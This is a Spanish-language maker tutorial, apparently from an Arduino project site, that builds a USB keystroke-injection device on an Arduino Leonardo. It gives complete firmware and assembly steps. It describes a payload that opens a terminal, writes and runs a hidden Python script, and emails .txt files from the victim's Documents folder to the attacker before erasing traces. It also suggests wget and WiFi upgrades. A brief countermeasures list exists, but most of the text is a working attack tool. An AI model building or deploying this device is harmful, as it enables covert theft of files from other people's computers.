Prevención de ataques USB HID: Demostración de explotación de teclado con Arduino Leonardo
Componentes y materiales
| Arduino Leonardo | 1 |
| 1 | |
| Tarjeta micro SD (pocos GB) | 1 |
| Pulsador de 3 pines (con resistencia) | 1 |
| Cables jumper (genéricos) | 1 |
| Cable USB-A a Micro-USB | 1 |
Sobre el proyecto
Este tutorial muestra cómo un Arduino Leonardo puede emular un dispositivo de interfaz humana (HID) —teclado y ratón— para ejecutar un ataque de demostración en Ubuntu Linux. El objetivo no es facilitar ataques, sino concienciar sobre los riesgos reales y cómo protegerse.
Aprenderás:
- Emular teclado con Arduino Leonardo.
- Leer datos de tarjeta SD.
- Crear un script Python que escanea archivos y los envía por email.
- Medidas de defensa contra dispositivos USB maliciosos.
Paso 1: Materiales
- Arduino Leonardo
- Lector micro USB para tarjeta SD
- Tarjeta micro SD
- Pulsador (VCC, GND, señal)
- Cables jumper hembra-macho y hembra-hembra
- Cable micro USB a USB
Paso 2: Construcción del dispositivo
Principio de funcionamiento
El Leonardo actúa como HID. Al pulsar el botón, lee un archivo hack.txt de la tarjeta SD que contiene secuencias de teclas y comandos especiales (Sleep::, Command::). Estas secuencias abren una terminal (Ctrl+Alt+T), crean un script Python con vi, lo ejecutan en segundo plano (nohup python hack.py &), borran el script y cierran la terminal (Alt+F4). Todo en segundos sin dejar rastro.
Instrucciones de montaje
- Conecta el cable micro USB al Leonardo.
- Conecta el pulsador: GND, VCC y señal al pin D8.
- Conecta el lector de tarjeta SD al header ICSP del Leonardo (consulta guía SparkFun). Pin SS al pin digital 10.
- Sube el código
keyboard_exploit.ino(baudios 9600, placa Leonardo). - Formatea la tarjeta SD en FAT16/FAT32.
- Copia
hack.txta la tarjeta (ver código abajo). Edita las credenciales de email (smtp_user, smtp_pass, to_address). - Inserta la tarjeta en el lector conectado al Leonardo.
Paso 3: Detalle del funcionamiento
El archivo hack.txt puede contener texto plano (se teclea tal cual) o líneas especiales:
Sleep::200→ espera 200 ms.Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t→ pulsa Ctrl+Alt+T y suelta.
La secuencia del ejemplo:
- Abre terminal (Ctrl+Alt+T).
- Crea
hack.pyconvi. - Escribe script Python que recopila archivos
.txtde~/Documentsy los envía por Gmail. - Ejecuta en background, borra el script, cierra terminal.
Mejoras y solución de problemas
- Descargar el script con
wgeten lugar de teclearlo. - Añadir WiFi para cargar exploits remotamente.
- Usar Arduino Micro (más pequeño) con código embebido.
Limitaciones
- Sin retroalimentación del sistema objetivo → se necesitan delays arbitrarios.
- Posibles problemas de permisos (puerto USB, instalación de software).
- Velocidad de tecleo limitada.
- Solo funciona en el SO objetivo (en el demo, Ubuntu Linux).
Paso 4: Contramedidas
- Deshabilitar puertos USB (Windows: guía).
- Lista blanca de dispositivos USB (Windows: ejemplo).
- Bloquear sesión al alejarse.
- No usar root / requerir contraseña para instalar.
- Mantener actualizaciones automáticas activadas.
Código principal (keyboard_exploit.ino)
#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"
String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int previousButtonState = HIGH;
void setup() {
pinMode(buttonPin, INPUT);
Serial.begin(9600);
Keyboard.begin();
if (!SD.begin(chipSelect)) {
Serial.println("Card failed, or not present!");
return;
}
}
void loop() {
int buttonState = digitalRead(buttonPin);
if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
sdFileToKeyboard();
Serial.println("Uploaded!");
delay(500);
}
previousButtonState = buttonState;
}
void sdFileToKeyboard() {
File dataFile = SD.open(filenameOnCard);
if (!dataFile) {
Serial.println("The specified filename is not present on SD card, check filenameOnCard!");
return;
}
String line;
while (dataFile.available()) {
line = dataFile.readStringUntil('\n');
Serial.println(line);
sendToKeyboard(line);
}
dataFile.close();
}
void sendToKeyboard(String line) {
String workingLine = line;
if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
sleepFor(line);
return;
}
if (workingLine.indexOf(commandStartingPoint) == -1) {
Serial.print("Text:"); Serial.println(line);
Keyboard.println(line);
pressEnter();
return;
}
Serial.println("Command:");
int charPosition = commandStartingPoint.length();
workingLine += ",";
while (workingLine != "") {
workingLine = workingLine.substring(charPosition);
int specialCommandDelimiterPosition = workingLine.indexOf(",");
String command = workingLine.substring(0, specialCommandDelimiterPosition);
charPosition = specialCommandDelimiterPosition + 1;
if (command != "") {
Serial.print("Command found:"); Serial.println(command);
Keyboard.press(getCommandCode(command));
delay(delayBetweenCommands);
}
}
Keyboard.releaseAll();
delay(delayBetweenCommands);
}
void pressEnter() {
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
void sleepFor(String line) {
int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
Serial.print("Sleeping for:"); Serial.println(sleepAmount);
delay(sleepAmount);
}
char getCommandCode(String text) {
char code = text.charAt(0);
if (text == "KEY_LEFT_CTRL") return KEY_LEFT_CTRL;
if (text == "KEY_LEFT_SHIFT") return KEY_LEFT_SHIFT;
if (text == "KEY_LEFT_ALT") return KEY_LEFT_ALT;
if (text == "KEY_UP_ARROW") return KEY_UP_ARROW;
if (text == "KEY_DOWN_ARROW") return KEY_DOWN_ARROW;
if (text == "KEY_LEFT_ARROW") return KEY_LEFT_ARROW;
if (text == "KEY_RIGHT_ARROW") return KEY_RIGHT_ARROW;
if (text == "KEY_RIGHT_GUI") return KEY_RIGHT_GUI;
if (text == "KEY_BACKSPACE") return KEY_BACKSPACE;
if (text == "KEY_TAB") return KEY_TAB;
if (text == "KEY_RETURN") return KEY_RETURN;
if (text == "KEY_ESC") return KEY_ESC;
if (text == "KEY_INSERT") return KEY_INSERT;
if (text == "KEY_DELETE") return KEY_DELETE;
if (text == "KEY_PAGE_UP") return KEY_PAGE_UP;
if (text == "KEY_PAGE_DOWN") return KEY_PAGE_DOWN;
if (text == "KEY_HOME") return KEY_HOME;
if (text == "KEY_END") return KEY_END;
if (text == "KEY_CAPS_LOCK") return KEY_CAPS_LOCK;
if (text == "KEY_F1") return KEY_F1;
if (text == "KEY_F2") return KEY_F2;
if (text == "KEY_F3") return KEY_F3;
if (text == "KEY_F4") return KEY_F4;
if (text == "KEY_F5") return KEY_F5;
if (text == "KEY_F6") return KEY_F6;
if (text == "KEY_F7") return KEY_F7;
if (text == "KEY_F8") return KEY_F8;
if (text == "KEY_F9") return KEY_F9;
if (text == "KEY_F10") return KEY_F10;
if (text == "KEY_F11") return KEY_F11;
if (text == "KEY_F12") return KEY_F12;
return code;
}
Esquemático
Diagrama Fritzing incluido (sketch_D4S1ftXkTU.fzz). Repositorio GitHub: https://github.com/danionescu0/arduino (carpeta projects/keyboard_exploit).
Proceso de manufactura
- Crea Animaciones y Juegos en LCD 16×2 con Arduino UNO
- Construye un Voltímetro Inteligente con Arduino y Smartphone – Proyecto DIY Fácil
- Registrador de Temperatura y Humedad con Arduino, DHT11 y Ethernet Shield
- Convierte tu Teclado MIDI en Tutor de Piano Inteligente con Arduino, LEDs y MuseScore
- Control Arduino UNO desde Python 3 – Envío de Comandos y Demo LED
- Autómatas Celulares en Tiempo Real con Arduino y Pantalla OLED 128x64
- Construye una Radio FM Compacta con Arduino Nano y RDA5807M
- Sistema de control de asistencia RFID en tiempo real con Arduino y Google Sheets
- Teclado Prototipo de 64 Teclas con Arduino: Matriz con Registros de Desplazamiento
- Construye una Calculadora Arduino con Pantalla LCD 16x2 y Teclado
- Integración IoT: Control Remoto de Arduino mediante Apps UWP Windows 10